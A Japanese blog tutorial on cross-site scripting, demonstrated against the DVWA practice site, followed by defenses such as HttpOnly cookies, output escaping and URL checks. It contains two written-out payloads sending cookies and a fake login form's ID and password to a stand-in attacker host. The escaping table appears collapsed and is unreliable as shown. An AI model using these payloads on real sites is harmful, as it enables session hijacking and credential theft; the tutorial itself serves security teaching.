今、改めてXSSを考える
前回「ホワイトハッカーへの道 二歩目」でファイルアップロードの脆弱性を見てきました。
今回はわかった気になっているXSS(Cross Site Scripting)について改めて理解を深め、対策を実施したいと思います。
XSS (Cross Site Scripting)
投稿型の口コミサイトや掲示板などに投稿フォームでHTMLやJavaScriptを埋め込み、セッションハイジャックや不正書き込み、ページ偽造やフィッシングなど、サービス運用側が予期しない挙動を発生させる攻撃です。
「百聞は一見に如かず」ということで、ローカル環境に脆弱性のあるやられサイトを立ち上げ、攻撃してみたいと思います。やられサイトの導入手順はこちらを参考にしてください。
DVWA(Damn Vulnerable Web Application)
下がセットアップ後のログイン画面になります。
さて、レッツハッキング!
ハッキング
簡単な例をみていきましょう。やられサイトのセキュリティレベルをLowにしたうえ、投稿フォームにスクリプトを埋め込みます。
投稿されたスクリプトが実行されてしました。
これはとても一般的なXSSの例です。
これを応用しより悪意のある攻撃手法をご紹介いたします。
セッションハイジャック
XSSの中でもスクリプトでCookieに含まれるセッション情報(ログイン情報)を盗み、成りすましを行う攻撃です。投稿サイトに勝手に投稿されたり、ECサイトで勝手に見覚えのないものを買われたりといった被害が発生する可能性があります。下記のようなスクリプトを埋め込まれ対策していない場合、利用者のcookie情報は犯人に送信されてしまいます。
<script type='text/javascript'>
document.location='http://hakking.com/getCookie?cookie=' + document.cookie;
</script>
少し簡略化してcookieの中身を表示してみます。
cookie情報も取得できてしまいました。cookie有効期間中にサイトにcookie情報を持って犯人が訪れたら...。
考えただけで怖いですね。
ページ偽造やフィッシング
以下のようなスクリプトでログイン画面を偽造することで利用者のID/パスワードやクレジットカード番号を盗むことも可能です。
<script>
document.body.innerHTML = '<form method="POST" action="http://hakking.com/getIdPw">
<div>ID: <input type="text" name="id"></div>
<div>PW: <input type="password" name="password"></div>
<input type="submit" value="Login"></form>';
</script>
偽造されたログイン画面が表示されました。こちらのPOST先は犯人のサイトに直結している場合にIDとパスワードを献上する形になります。
※やられサイトDVWAのデフォルトmaxlengthとvarcharサイズを拡張しています。
対策
- CookieにHttpOnly属性をつける
- 文字列、属性値を出力する際はエスケープする
- 属性値を出力する際に引用符で囲む
- URLにjavascript:があるかチェックする
Cookie に HttpOnly 属性をつける
何よりCookieの値を盗まれないようにすることが重要です。HTTPのSet-CookieヘッダにHttpOnly属性を付与すると、Cookieの値はHTTP交換のみで使用され、JavaScriptからCookieの値を読み出せなくなります。
Set-Cookie: sid=ad415678gtetafet411gaafeqw; Secure; HttpOnly
これはchromeでデベロッパーツールよりcookieの値を確認したものです。
HTTPにチェックがある場合は対応されている状態です。
文字列、属性値を出力する際は適切にエスケープする
投稿データを表示するための変数$dataにスクリプトが含めている場合、スクリプトが実行されてしまいます。
<div>$data</div>
↓
<div><script>alert('ハッキング')</script></div>
タグを表示する場合はテキストや属性値に含まれるタグをエスケープします。
& → &
< → <
> → >
" → "
' → '
Laravelフレームワークではview側で変数を表示する際に{{}}で括ります。
// htmlentities関数を通す
{{$text}}
// htmlentities関数を通さずに画面出力
{!! $text !!}
属性値を出力する際に引用符で囲む
$dataを引用符で囲まないと実行されてしまいます。
// こちらは実行できてしまう
<input type="button" value=$data>
↓
<input type="button" value=1 onclick=スクリプト>
// こちらは問題なし
<input type="button" value="$data">
↓
<input type="button" value="1 onclick=スクリプト">
URLにスクリプトが埋め込まれていないかチェックする
$dataが「javascript:スクリプト」の場合、悪意あるスクリプトが実行されてしまいます。
<a href="$data">...</a>
↓
<a href="javascript:スクリプト">...</a>
href、rel、srcなどの属性値に変数を指定する場合、httpまたはhttpsをチェックする必要があります。
まとめ
フレームワークを使い簡単にエスケープ対応ができてしまうと、
Webサービスを運営する側として、本来知らないといけない危険性に気づけないことがあります。
攻撃手法をしっかり理解し、ホワイトハッカーを目指しましょう。